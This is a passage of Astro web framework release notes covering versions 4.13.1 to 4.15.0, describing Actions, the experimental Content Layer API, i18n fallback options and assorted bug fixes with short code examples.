[`v4.15.0`](https://github.com/withastro/astro/releases/tag/astro%404.15.0) [Compare Source](https://github.com/withastro/astro/compare/astro@4.14.6...astro@4.15.0) ##### Minor Changes - [#&#8203;11729](https://github.com/withastro/astro/pull/11729) [`1c54e63`](https://github.com/withastro/astro/commit/1c54e633274ad47f6c83c9a16f375f0caa983fbe) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Adds a new variant `sync` for the `astro:config:setup` hook's `command` property. This value is set when calling the command `astro sync`. If your integration previously relied on knowing how many variants existed for the `command` property, you must update your logic to account for this new option. - [#&#8203;11743](https://github.com/withastro/astro/pull/11743) [`cce0894`](https://github.com/withastro/astro/commit/cce08945340312776a0480fc9ffe43929257639a) Thanks [@&#8203;ph1p](https://github.com/ph1p)! - Adds a new, optional property `timeout` for the `client:idle` directive. This value allows you to specify a maximum time to wait, in milliseconds, before hydrating a UI framework component, even if the page is not yet done with its initial load. This means you can delay hydration for lower-priority UI elements with more control to ensure your element is interactive within a specified time frame. ```astro <ShowHideButton client:idle={{ timeout: 500 }} /> ``` - [#&#8203;11677](https://github.com/withastro/astro/pull/11677) [`cb356a5`](https://github.com/withastro/astro/commit/cb356a5db6b1ec2799790a603f931a961883ab31) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Adds a new option `fallbackType` to `i18n.routing` configuration that allows you to control how fallback pages are handled. When `i18n.fallback` is configured, this new routing option controls whether to [redirect](https://docs.astro.build/en/guides/routing/#redirects) to the fallback page, or to [rewrite](https://docs.astro.build/en/guides/routing/#rewrites) the fallback page's content in place. The `"redirect"` option is the default value and matches the current behavior of the existing fallback system. The option `"rewrite"` uses the new [rewriting system](https://docs.astro.build/en/guides/routing/#rewrites) to create fallback pages that render content on the original, requested URL without a browser refresh. For example, the following configuration will generate a page `/fr/index.html` that will contain the same HTML rendered by the page `/en/index.html` when `src/pages/fr/index.astro` does not exist. ```js // astro.config.mjs export default defineConfig({ i18n: { locals: ['en', 'fr'], defaultLocale: 'en', routing: { prefixDefaultLocale: true, fallbackType: 'rewrite', }, fallback: { fr: 'en', }, }, }); ``` - [#&#8203;11708](https://github.com/withastro/astro/pull/11708) [`62b0d20`](https://github.com/withastro/astro/commit/62b0d20b974dc932769221d210b751627fb4bbc6) Thanks [@&#8203;martrapp](https://github.com/martrapp)! - Adds a new object `swapFunctions` to expose the necessary utility functions on `astro:transitions/client` that allow you to build custom swap functions to be used with view transitions. The example below uses these functions to replace Astro's built-in default `swap` function with one that only swaps the `<main>` part of the page: ```html <script> import { swapFunctions } from 'astro:transitions/client'; document.addEventListener('astro:before-swap', (e) => { e.swap = () => swapMainOnly(e.newDocument) }); function swapMainOnly(doc: Document) { swapFunctions.deselectScripts(doc); swapFunctions.swapRootAttributes(doc); swapFunctions.swapHeadElements(doc); const restoreFocusFunction = swapFunctions.saveFocus(); const newMain = doc.querySelector('main'); const oldMain = document.querySelector('main'); if (newMain && oldMain) { swapFunctions.swapBodyElement(newMain, oldMain); } else { swapFunctions.swapBodyElement(doc.body, document.body); } restoreFocusFunction(); }; </script> ``` See the [view transitions guide](https://docs.astro.build/en/guides/view-transitions/#astrobefore-swap) for more information about hooking into the `astro:before-swap` lifecycle event and adding a custom swap implementation. - [#&#8203;11843](https://github.com/withastro/astro/pull/11843) [`5b4070e`](https://github.com/withastro/astro/commit/5b4070efef877a77247bb05a4806b75f22e557c8) Thanks [@&#8203;bholmesdev](https://github.com/bholmesdev)! - Exposes `z` from the new `astro:schema` module. This is the new recommended import source for all Zod utilities when using Astro Actions. #### Migration for Astro Actions users ```` `z` will no longer be exposed from `astro:actions`. To use `z` in your actions, import it from `astro:schema` instead: ```diff import { defineAction, - z, } from 'astro:actions'; + import { z } from 'astro:schema'; ``` ```` - [#&#8203;11843](https://github.com/withastro/astro/pull/11843) [`5b4070e`](https://github.com/withastro/astro/commit/5b4070efef877a77247bb05a4806b75f22e557c8) Thanks [@&#8203;bholmesdev](https://github.com/bholmesdev)! - The Astro Actions API introduced behind a flag in [v4.8.0](https://github.com/withastro/astro/blob/main/packages/astro/CHANGELOG.md#480) is no longer experimental and is available for general use. Astro Actions allow you to define and call backend functions with type-safety, performing data fetching, JSON parsing, and input validation for you. Actions can be called from client-side components and HTML forms. This gives you to flexibility to build apps using any technology: React, Svelte, HTMX, or just plain Astro components. This example calls a newsletter action and renders the result using an Astro component: ```astro --- // src/pages/newsletter.astro import { actions } from 'astro:actions'; const result = Astro.getActionResult(actions.newsletter); --- {result && !result.error && <p>Thanks for signing up!</p>} <form method="POST" action={actions.newsletter}> <input type="email" name="email" /> <button>Sign up</button> </form> ``` If you were previously using this feature, please remove the experimental flag from your Astro config: ```diff import { defineConfig } from 'astro' export default defineConfig({ - experimental: { - actions: true, - } }) ``` If you have been waiting for stabilization before using Actions, you can now do so. For more information and usage examples, see our [brand new Actions guide](https://docs.astro.build/en/guides/actions). ##### Patch Changes - [#&#8203;11677](https://github.com/withastro/astro/pull/11677) [`cb356a5`](https://github.com/withastro/astro/commit/cb356a5db6b1ec2799790a603f931a961883ab31) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a bug in the logic of `Astro.rewrite()` which led to the value for `base`, if configured, being automatically prepended to the rewrite URL passed. This was unintended behavior and has been corrected, and Astro now processes the URLs exactly as passed. If you use the `rewrite()` function on a project that has `base` configured, you must now prepend the base to your existing rewrite URL: ```js // astro.config.mjs export default defineConfig({ base: '/blog', }); ``` ```diff // src/middleware.js export function onRequest(ctx, next) { - return ctx.rewrite("/about") + return ctx.rewrite("/blog/about") } ``` - [#&#8203;11862](https://github.com/withastro/astro/pull/11862) [`0e35afe`](https://github.com/withastro/astro/commit/0e35afe44f5a3c9f87b41dc89d5128b02e448895) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - **BREAKING CHANGE to experimental content layer loaders only!** Passes `AstroConfig` instead of `AstroSettings` object to content layer loaders. This will not affect you unless you have created a loader that uses the `settings` object. If you have, you will need to update your loader to use the `config` object instead. ```diff export default function myLoader() { return { name: 'my-loader' - async load({ settings }) { - const base = settings.config.base; + async load({ config }) { + const base = config.base; // ... } } } ``` Other properties of the settings object are private internals, and should not be accessed directly. If you think you need access to other properties, please open an issue to discuss your use case. - [#&#8203;11772](https://github.com/withastro/astro/pull/11772) [`6272e6c`](https://github.com/withastro/astro/commit/6272e6cec07778e81f853754bffaac40e658c700) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Uses `magicast` to update the config for `astro add` - [#&#8203;11845](https://github.com/withastro/astro/pull/11845) [`440a4be`](https://github.com/withastro/astro/commit/440a4be0a6ca135e47b0d37124c1be03735ba7ff) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Replaces `execa` with `tinyexec` internally - [#&#8203;11858](https://github.com/withastro/astro/pull/11858) [`8bab233`](https://github.com/withastro/astro/commit/8bab2339374763d19dbc4cc2c7ce4ad8a2a49694) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Correctly resolves content layer images when filePath is not set ### [`v4.14.6`](https://github.com/withastro/astro/releases/tag/astro%404.14.6) [Compare Source](https://github.com/withastro/astro/compare/astro@4.14.5...astro@4.14.6) ##### Patch Changes - [#&#8203;11847](https://github.com/withastro/astro/pull/11847) [`45b599c`](https://github.com/withastro/astro/commit/45b599c4d40ded6a3e03881181b441ae494cbfcf) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes a case where Vite would be imported by the SSR runtime, causing bundling errors and bloat. - [#&#8203;11822](https://github.com/withastro/astro/pull/11822) [`6fcaab8`](https://github.com/withastro/astro/commit/6fcaab84de1044ff4d186b2dfa5831964460062d) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Marks internal `vite-plugin-fileurl` plugin with `enforce: 'pre'` - [#&#8203;11713](https://github.com/withastro/astro/pull/11713) [`497324c`](https://github.com/withastro/astro/commit/497324c4e87538dc1dc13aea3ced9bd3642d9ba6) Thanks [@&#8203;voidfill](https://github.com/voidfill)! - Prevents prefetching of the same urls with different hashes. - [#&#8203;11814](https://github.com/withastro/astro/pull/11814) [`2bb72c6`](https://github.com/withastro/astro/commit/2bb72c63969f8f21dd279fa927c32f192ff79a3f) Thanks [@&#8203;eduardocereto](https://github.com/eduardocereto)! - Updates the documentation for experimental Content Layer API with a corrected code example - [#&#8203;11842](https://github.com/withastro/astro/pull/11842) [`1ffaae0`](https://github.com/withastro/astro/commit/1ffaae04cf790390f730bf900b9722b99642adc1) Thanks [@&#8203;stephan281094](https://github.com/stephan281094)! - Fixes a typo in the `MissingImageDimension` error message - [#&#8203;11828](https://github.com/withastro/astro/pull/11828) [`20d47aa`](https://github.com/withastro/astro/commit/20d47aa85a3a0d7ac3390f749715d92de830cf3e) Thanks [@&#8203;bholmesdev](https://github.com/bholmesdev)! - Improves error message when invalid data is returned by an Action. ### [`v4.14.5`](https://github.com/withastro/astro/releases/tag/astro%404.14.5) [Compare Source](https://github.com/withastro/astro/compare/astro@4.14.4...astro@4.14.5) ##### Patch Changes - [#&#8203;11809](https://github.com/withastro/astro/pull/11809) [`62e97a2`](https://github.com/withastro/astro/commit/62e97a20f72bacb017c633ddcb776abc89167660) Thanks [@&#8203;bholmesdev](https://github.com/bholmesdev)! - Fixes usage of `.transform()`, `.refine()`, `.passthrough()`, and other effects on Action form inputs. - [#&#8203;11812](https://github.com/withastro/astro/pull/11812) [`260c4be`](https://github.com/withastro/astro/commit/260c4be050f91353bc5ba6af073e7bc17429d552) Thanks [@&#8203;bholmesdev](https://github.com/bholmesdev)! - Exposes `ActionAPIContext` type from the `astro:actions` module. - [#&#8203;11813](https://github.com/withastro/astro/pull/11813) [`3f7630a`](https://github.com/withastro/astro/commit/3f7630afd697809b1d4fbac6edd18153983c70ac) Thanks [@&#8203;bholmesdev](https://github.com/bholmesdev)! - Fixes unexpected `undefined` value when calling an action from the client without a return value. ### [`v4.14.4`](https://github.com/withastro/astro/releases/tag/astro%404.14.4) [Compare Source](https://github.com/withastro/astro/compare/astro@4.14.3...astro@4.14.4) ##### Patch Changes - [#&#8203;11794](https://github.com/withastro/astro/pull/11794) [`3691a62`](https://github.com/withastro/astro/commit/3691a626fb67d617e5f8bd057443cd2ff6caa054) Thanks [@&#8203;bholmesdev](https://github.com/bholmesdev)! - Fixes unexpected warning log when using Actions on "hybrid" rendered projects. - [#&#8203;11801](https://github.com/withastro/astro/pull/11801) [`9f943c1`](https://github.com/withastro/astro/commit/9f943c1344671b569a0d1ddba683b3cca0068adc) Thanks [@&#8203;delucis](https://github.com/delucis)! - Fixes a bug where the `filePath` property was not available on content collection entries when using the content layer `file()` loader with a JSON file that contained an object instead of an array. This was breaking use of the `image()` schema utility among other things. ### [`v4.14.3`](https://github.com/withastro/astro/releases/tag/astro%404.14.3) [Compare Source](https://github.com/withastro/astro/compare/astro@4.14.2...astro@4.14.3) ##### Patch Changes - [#&#8203;11780](https://github.com/withastro/astro/pull/11780) [`c6622ad`](https://github.com/withastro/astro/commit/c6622adaeb405e961b12c91f0e5d02c7333d01cf) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Deprecates the Squoosh image service, to be removed in Astro 5.0. We recommend migrating to the default Sharp service. - [#&#8203;11790](https://github.com/withastro/astro/pull/11790) [`41c3fcb`](https://github.com/withastro/astro/commit/41c3fcb6189709450a67ea8f726071d5f3cdc80e) Thanks [@&#8203;sarah11918](https://github.com/sarah11918)! - Updates the documentation for experimental `astro:env` with a corrected link to the RFC proposal - [#&#8203;11773](https://github.com/withastro/astro/pull/11773) [`86a3391`](https://github.com/withastro/astro/commit/86a33915ff41b23ff6b35bcfb1805fefc0760ca7) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Changes messages logged when using unsupported, deprecated, or experimental adapter features for clarity - [#&#8203;11745](https://github.com/withastro/astro/pull/11745) [`89bab1e`](https://github.com/withastro/astro/commit/89bab1e70786123fbe933a9d7a1b80c9334dcc5f) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Prints prerender dynamic value usage warning only if it's used - [#&#8203;11774](https://github.com/withastro/astro/pull/11774) [`c6400ab`](https://github.com/withastro/astro/commit/c6400ab99c5e5f4477bc6ef7e801b7869b0aa9ab) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes the path returned by `injectTypes` - [#&#8203;11730](https://github.com/withastro/astro/pull/11730) [`2df49a6`](https://github.com/withastro/astro/commit/2df49a6fb4f6d92fe45f7429430abe63defeacd6) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Simplifies path operations of `astro sync` - [#&#8203;11771](https://github.com/withastro/astro/pull/11771) [`49650a4`](https://github.com/withastro/astro/commit/49650a45550af46c70c6cf3f848b7b529103a649) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes an error thrown by `astro sync` when an `astro:env` virtual module is imported inside the Content Collections config - [#&#8203;11744](https://github.com/withastro/astro/pull/11744) [`b677429`](https://github.com/withastro/astro/commit/b67742961a384c10e5cd04cf5b02d0f014ea7362) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Disables the WebSocket server when creating a Vite server for loading config files ### [`v4.14.2`](https://github.com/withastro/astro/releases/tag/astro%404.14.2) [Compare Source](https://github.com/withastro/astro/compare/astro@4.14.1...astro@4.14.2) ##### Patch Changes - [#&#8203;11733](https://github.com/withastro/astro/pull/11733) [`391324d`](https://github.com/withastro/astro/commit/391324df969db71d1c7ca25c2ed14c9eb6eea5ee) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Reverts back to `yargs-parser` package for CLI argument parsing ### [`v4.14.1`](https://github.com/withastro/astro/releases/tag/astro%404.14.1) [Compare Source](https://github.com/withastro/astro/compare/astro@4.14.0...astro@4.14.1) ##### Patch Changes - [#&#8203;11725](https://github.com/withastro/astro/pull/11725) [`6c1560f`](https://github.com/withastro/astro/commit/6c1560fb0d19ce659bc9f9090f8050254d5c03f3) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Prevents content layer importing node builtins in runtime - [#&#8203;11692](https://github.com/withastro/astro/pull/11692) [`35af73a`](https://github.com/withastro/astro/commit/35af73aace97a7cc898b9aa5040db8bc2ac62687) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Prevent errant HTML from crashing server islands When an HTML minifier strips away the server island comment, the script can't correctly know where the end of the fallback content is. This makes it so that it simply doesn't remove any DOM in that scenario. This means the fallback isn't removed, but it also doesn't crash the browser. - [#&#8203;11727](https://github.com/withastro/astro/pull/11727) [`3c2f93b`](https://github.com/withastro/astro/commit/3c2f93b66c6b8e9d2ab58e2cbe941c14ffab89b5) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes a type issue when using the Content Layer in dev ### [`v4.14.0`](https://github.com/withastro/astro/releases/tag/astro%404.14.0) [Compare Source](https://github.com/withastro/astro/compare/astro@4.13.4...astro@4.14.0) ##### Minor Changes - [#&#8203;11657](https://github.com/withastro/astro/pull/11657) [`a23c69d`](https://github.com/withastro/astro/commit/a23c69d0d0bed229bee52a32e61f135f9ebf9122) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Deprecates the option for route-generating files to export a dynamic value for `prerender`. Only static values are now supported (e.g. `export const prerender = true` or `= false`). This allows for better treeshaking and bundling configuration in the future. Adds a new [`"astro:route:setup"` hook](https://docs.astro.build/en/reference/integrations-reference/#astroroutesetup) to the Integrations API to allow you to dynamically set options for a route at build or request time through an integration, such as enabling [on-demand server rendering](https://docs.astro.build/en/guides/server-side-rendering/#opting-in-to-pre-rendering-in-server-mode). To migrate from a dynamic export to the new hook, update or remove any dynamic `prerender` exports from individual routing files: ```diff // src/pages/blog/[slug].astro - export const prerender = import.meta.env.PRERENDER ``` Instead, create an integration with the `"astro:route:setup"` hook and update the route's `prerender` option: ```js // astro.config.mjs import { defineConfig } from 'astro/config'; import { loadEnv } from 'vite'; export default defineConfig({ integrations: [setPrerender()], }); function setPrerender() { const { PRERENDER } = loadEnv(process.env.NODE_ENV, process.cwd(), ''); return { name: 'set-prerender', hooks: { 'astro:route:setup': ({ route }) => { if (route.component.endsWith('/blog/[slug].astro')) { route.prerender = PRERENDER; } }, }, }; } ``` - [#&#8203;11360](https://github.com/withastro/astro/pull/11360) [`a79a8b0`](https://github.com/withastro/astro/commit/a79a8b0230b06ed32ce1802f2a5f84a6cf92dbe7) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Adds a new [`injectTypes()` utility](https://docs.astro.build/en/reference/integrations-reference/#injecttypes-options) to the Integration API and refactors how type generation works Use `injectTypes()` in the `astro:config:done` hook to inject types into your user's project by adding a new a `*.d.ts` file. The `filename` property will be used to generate a file at `/.astro/integrations/<normalized_integration_name>/<normalized_filename>.d.ts` and must end with `".d.ts"`. The `content` property will create the body of the file, and must be valid TypeScript. Additionally, `injectTypes()` returns a URL to the normalized path so you can overwrite its content later on, or manipulate it in any way you want. ```js // my-integration/index.js export default { name: 'my-integration', 'astro:config:done': ({ injectTypes }) => { injectTypes({ filename: 'types.d.ts', content: "declare module 'virtual:my-integration' {}", }); }, }; ``` Codegen has been refactored. Although `src/env.d.ts` will continue to work as is, we recommend you update it: ```diff - /// <reference types="astro/client" /> + /// <reference path="../.astro/types.d.ts" /> - /// <reference path="../.astro/env.d.ts" /> - /// <reference path="../.astro/actions.d.ts" /> ``` - [#&#8203;11605](https://github.com/withastro/astro/pull/11605) [`d3d99fb`](https://github.com/withastro/astro/commit/d3d99fba269da9e812e748539a11dfed785ef8a4) Thanks [@&#8203;jcayzac](https://github.com/jcayzac)! - Adds a new property `meta` to Astro's [built-in `<Code />` component](https://docs.astro.build/en/reference/api-reference/#code-). This allows you to provide a value for [Shiki's `meta` attribute](https://shiki.style/guide/transformers#meta) to pass options to transformers. The following example passes an option to highlight lines 1 and 3 to Shiki's `tranformerMetaHighlight`: ```astro --- // src/components/Card.astro import { Code } from 'astro:components'; import { transformerMetaHighlight } from '@&#8203;shikijs/transformers'; --- <Code code={code} lang="js" transformers={[transformerMetaHighlight()]} meta="{1,3}" /> ``` - [#&#8203;11360](https://github.com/withastro/astro/pull/11360) [`a79a8b0`](https://github.com/withastro/astro/commit/a79a8b0230b06ed32ce1802f2a5f84a6cf92dbe7) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Adds support for Intellisense features (e.g. code completion, quick hints) for your content collection entries in compatible editors under the `experimental.contentIntellisense` flag. ```js import { defineConfig } from 'astro'; export default defineConfig({ experimental: { contentIntellisense: true, }, }); ``` When enabled, this feature will generate and add JSON schemas to the `.astro` directory in your project. These files can be used by the Astro language server to provide Intellisense inside content files (`.md`, `.mdx`, `.mdoc`). Note that at this time, this also require enabling the `astro.content-intellisense` option in your editor, or passing the `contentIntellisense: true` initialization parameter to the Astro language server for editors using it directly. See the [experimental content Intellisense docs](https://docs.astro.build/en/reference/configuration-reference/#experimentalcontentintellisense) for more information updates as this feature develops. - [#&#8203;11360](https://github.com/withastro/astro/pull/11360) [`a79a8b0`](https://github.com/withastro/astro/commit/a79a8b0230b06ed32ce1802f2a5f84a6cf92dbe7) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Adds experimental support for the Content Layer API. The new Content Layer API builds upon content collections, taking them beyond local files in `src/content/` and allowing you to fetch content from anywhere, including remote APIs. These new collections work alongside your existing content collections, and you can migrate them to the new API at your own pace. There are significant improvements to performance with large collections of local files. ##### Getting started ```` To try out the new Content Layer API, enable it in your Astro config: ```js import { defineConfig } from 'astro'; export default defineConfig({ experimental: { contentLayer: true, }, }); ``` You can then create collections in your `src/content/config.ts` using the Content Layer API. ```` ##### Loading your content ```` The core of the new Content Layer API is the loader, a function that fetches content from a source and caches it in a local data store. Astro 4.14 ships with built-in `glob()` and `file()` loaders to handle your local Markdown, MDX, Markdoc, and JSON files: ```ts {3,7} // src/content/config.ts import { defineCollection, z } from 'astro:content'; import { glob } from 'astro/loaders'; const blog = defineCollection({ // The ID is a slug generated from the path of the file relative to `base` loader: glob({ pattern: '**/*.md', base: './src/data/blog' }), schema: z.object({ title: z.string(), description: z.string(), publishDate: z.coerce.date(), }), }); export const collections = { blog }; ``` You can then query using the existing content collections functions, and enjoy a simplified `render()` function to display your content: ```astro --- import { getEntry, render } from 'astro:content'; const post = await getEntry('blog', Astro.params.slug); const { Content } = await render(entry); --- <Content /> ``` ```` ##### Creating a loader ```` You're not restricted to the built-in loaders – we hope you'll try building your own. You can fetch content from anywhere and return an array of entries: ```ts // src/content/config.ts const countries = defineCollection({ loader: async () => { const response = await fetch('https://restcountries.com/v3.1/all'); const data = await response.json(); // Must return an array of entries with an id property, // or an object with IDs as keys and entries as values return data.map((country) => ({ id: country.cca3, ...country, })); }, // optionally add a schema to validate the data and make it type-safe for users // schema: z.object... }); export const collections = { countries }; ``` For more advanced loading logic, you can define an object loader. This allows incremental updates and conditional loading, and gives full access to the data store. It also allows a loader to define its own schema, including generating it dynamically based on the source API. See the [the Content Layer API RFC](https://github.com/withastro/roadmap/blob/content-layer/proposals/0047-content-layer.md#loaders) for more details. ```` ##### Sharing your loaders ```` Loaders are better when they're shared. You can create a package that exports a loader and publish it to npm, and then anyone can use it on their site. We're excited to see what the community comes up with! To get started, [take a look at some examples](https://github.com/ascorbic/astro-loaders/). Here's how to load content using an RSS/Atom feed loader: ```ts // src/content/config.ts import { defineCollection } from 'astro:content'; import { feedLoader } from '@&#8203;ascorbic/feed-loader'; const podcasts = defineCollection({ loader: feedLoader({ url: 'https://feeds.99percentinvisible.org/99percentinvisible', }), }); export const collections = { podcasts }; ``` ```` ##### Learn more ``` To find out more about using the Content Layer API, check out [the Content Layer RFC](https://github.com/withastro/roadmap/blob/content-layer/proposals/0047-content-layer.md) and [share your feedback](https://github.com/withastro/roadmap/pull/982). ``` ##### Patch Changes - [#&#8203;11716](https://github.com/withastro/astro/pull/11716) [`f4057c1`](https://github.com/withastro/astro/commit/f4057c18c91f969e3e508545fb988aff94c3ff08) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes content types sync in dev - [#&#8203;11645](https://github.com/withastro/astro/pull/11645) [`849e4c6`](https://github.com/withastro/astro/commit/849e4c6c23e61f7fa59f583419048b998bef2475) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Refactors internally to use `node:util` `parseArgs` instead of `yargs-parser` - [#&#8203;11712](https://github.com/withastro/astro/pull/11712) [`791d809`](https://github.com/withastro/astro/commit/791d809cbc22ed30dda1195ca026daa46a54b551) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fix mixed use of base + trailingSlash in Server Islands - [#&#8203;11709](https://github.com/withastro/astro/pull/11709) [`3d8ae76`](https://github.com/withastro/astro/commit/3d8ae767fd4952af7332542b58fe98886eb2e99e) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fix adapter causing Netlify to break ### [`v4.13.4`](https://github.com/withastro/astro/releases/tag/astro%404.13.4) [Compare Source](https://github.com/withastro/astro/compare/astro@4.13.3...astro@4.13.4) ##### Patch Changes - [#&#8203;11678](https://github.com/withastro/astro/pull/11678) [`34da907`](https://github.com/withastro/astro/commit/34da907f3b4fb411024e6d28fdb291fa78116950) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a case where omitting a semicolon and line ending with carriage return - CRLF - in the `prerender` option could throw an error. - [#&#8203;11535](https://github.com/withastro/astro/pull/11535) [`932bd2e`](https://github.com/withastro/astro/commit/932bd2eb07f1d7cb2c91e7e7d31fe84c919e302b) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Encrypt server island props Server island props are now encrypted with a key generated at build-time. This is intended to prevent accidentally leaking secrets caused by exposing secrets through prop-passing. This is not intended to allow a server island to be trusted to skip authentication, or to protect against any other vulnerabilities other than secret leakage. See the RFC for an explanation: <https://github.com/withastro/roadmap/blob/server-islands/proposals/server-islands.md#props-serialization> - [#&#8203;11655](https://github.com/withastro/astro/pull/11655) [`dc0a297`](https://github.com/withastro/astro/commit/dc0a297e2a4bea3db8310cc98c51b2f94ede5fde) Thanks [@&#8203;billy-le](https://github.com/billy-le)! - Fixes Astro Actions `input` validation when using `default` values with a form input. - [#&#8203;11689](https://github.com/withastro/astro/pull/11689) [`c7bda4c`](https://github.com/withastro/astro/commit/c7bda4cd672864babc3cebd19a2dd2e1af85c087) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue in the Astro actions, where the size of the generated cookie was exceeding the size permitted by the `Set-Cookie` header. ### [`v4.13.3`](https://github.com/withastro/astro/releases/tag/astro%404.13.3) [Compare Source](https://github.com/withastro/astro/compare/astro@4.13.2...astro@4.13.3) ##### Patch Changes - [#&#8203;11653](https://github.com/withastro/astro/pull/11653) [`32be549`](https://github.com/withastro/astro/commit/32be5494f6d33dbe32208704405162c95a64f0bc) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Updates `astro:env` docs to reflect current developments and usage guidance - [#&#8203;11658](https://github.com/withastro/astro/pull/11658) [`13b912a`](https://github.com/withastro/astro/commit/13b912a8702afb96e2d0bc20dcc1b4135ae58147) Thanks [@&#8203;bholmesdev](https://github.com/bholmesdev)! - Fixes `orThrow()` type when calling an Action without an `input` validator. - [#&#8203;11603](https://github.com/withastro/astro/pull/11603) [`f31d466`](https://github.com/withastro/astro/commit/f31d4665c1cbb0918b9e00ba1431fb6f264025f7) Thanks [@&#8203;bholmesdev](https://github.com/bholmesdev)! - Improves user experience when render an Action result from a form POST request: - Removes "Confirm post resubmission?" dialog when refreshing a result. - Removes the `?_astroAction=NAME` flag when a result is rendered. Also improves the DX of directing to a new route on success. Actions will now redirect to the route specified in your `action` string on success, and redirect back to the previous page on error. This follows the routing convention of established backend frameworks like Laravel. For example, say you want to redirect to a `/success` route when `actions.signup` succeeds. You can add `/success` to your `action` string like so: ```astro <form method="POST" action={'/success' + actions.signup}></form> ``` - On success, Astro will redirect to `/success`. - On error, Astro will redirect back to the current page. You can retrieve the action result from either page using the `Astro.getActionResult()` function. ##### Note on security ``` This uses a temporary cookie to forward the action result to the next page. The cookie will be deleted when that page is rendered. ⚠ **The action result is not encrypted.** In general, we recommend returning minimal data from an action handler to a) avoid leaking sensitive information, and b) avoid unexpected render issues once the temporary cookie is deleted. For example, a `login` function may return a user's session id to retrieve from your Astro frontmatter, rather than the entire user object. ``` ### [`v4.13.2`](https://github.com/withastro/astro/releases/tag/astro%404.13.2) [Compare Source](https://github.com/withastro/astro/compare/astro@4.13.1...astro@4.13.2) ##### Patch Changes - [#&#8203;11648](https://github.com/withastro/astro/pull/11648) [`589d351`](https://github.com/withastro/astro/commit/589d35158da1a2136387d0ad76609f5c8535c03a) Thanks [@&#8203;bholmesdev](https://github.com/bholmesdev)! - Fixes unexpected error when refreshing a POST request from a form using Actions. - [#&#8203;11600](https://github.com/withastro/astro/pull/11600) [`09ec2ca`](https://github.com/withastro/astro/commit/09ec2cadce01a9a1f9c54ac433f137348907aa56) Thanks [@&#8203;ArmandPhilippot](https://github.com/ArmandPhilippot)! - Deprecates `getEntryBySlug` and `getDataEntryById` functions exported by `astro:content` in favor of `getEntry`. - [#&#8203;11593](https://github.com/withastro/astro/pull/11593) [`81d7150`](https://github.com/withastro/astro/commit/81d7150e02472430eab555dfc4f053738bf99bb6) Thanks [@&#8203;bholmesdev](https://github.com/bholmesdev)! - Adds support for `Date()`, `Map()`, and `Set()` from action results. See [devalue](https://github.com/Rich-Harris/devalue) for a complete list of supported values. Also fixes serialization exceptions when deploying Actions with edge middleware on Netlify and Vercel. - [#&#8203;11617](https://github.com/withastro/astro/pull/11617) [`196092a`](https://github.com/withastro/astro/commit/196092ae69eb1249206846ddfc162049b03f42b4) Thanks [@&#8203;abubakriz](https://github.com/abubakriz)! - Fix toolbar audit incorrectly flagging images as above the fold. - [#&#8203;11634](https://github.com/withastro/astro/pull/11634) [`2716f52`](https://github.com/withastro/astro/commit/2716f52aae7194439ebb2336849ddd9e8226658a) Thanks [@&#8203;bholmesdev](https://github.com/bholmesdev)! - Fixes internal server error when calling an Astro Action without arguments on Vercel. - [#&#8203;11628](https://github.com/withastro/astro/pull/11628) [`9aaf58c`](https://github.com/withastro/astro/commit/9aaf58c1339b54f2c1394e718a0f6f609f0b6342) Thanks [@&#8203;madbook](https://github.com/madbook)! - Ensures consistent CSS chunk hashes across different environments ### [`v4.13.1`](https://github.com/withastro/astro/releases/tag/astro%404.13.1) [Compare Source](https://github.com/withastro/astro/compare/astro@4.13.0...astro@4.13.1) ##### Patch Changes - [#&#8203;11584](https://github.com/withastro/astro/pull/11584) [`a65ffe3`](https://github.com/withastro/astro/commit/a65ffe314b112213421def26c7cc5b7e7b93558c) Thanks [@&#8203;bholmesdev](https://github.com/bholmesdev)! - Removes async local storage dependency from Astro Actions. This allows Actions to run in Cloudflare and Stackblitz without opt-in flags or other configuration. This also introduces a new convention for calling actions from server code. Instead of calling actions directly, you must wrap function calls with the new `Astro.callAction()` utility. > `callAction()` is meant to *trigger* an action from server code. `getActionResult()` usage with form submissions remains unchanged. ```astro --- import { actions } from 'astro:actions'; const result = await Astro.callAction(actions.searchPosts, { searchTerm: Astro.url.searchParams.get('search'), }); --- { result.data && { /* render the results */ } } ``` #### Migration ```` If you call actions directly from server code, update function calls to use the `Astro.callAction()` wrapper for pages and `context.callAction()` for endpoints: ```diff --- import { actions } from 'astro:actions'; - const result = await actions.searchPosts({ searchTerm: 'test' }); + const result = await Astro.callAction(actions.searchPosts, { searchTerm: 'test' }); --- ``` If you deploy with Cloudflare and added [the `nodejs_compat` or `nodejs_als` flags](https://developers.cloudflare.com/workers/runtime-apis/nodejs) for Actions, we recommend removing these: ```diff compatibility_flags = [ - "nodejs_compat", - "nodejs_als" ] ``` You can also remove `node:async_hooks` from the `vite.ssr.external` option in your 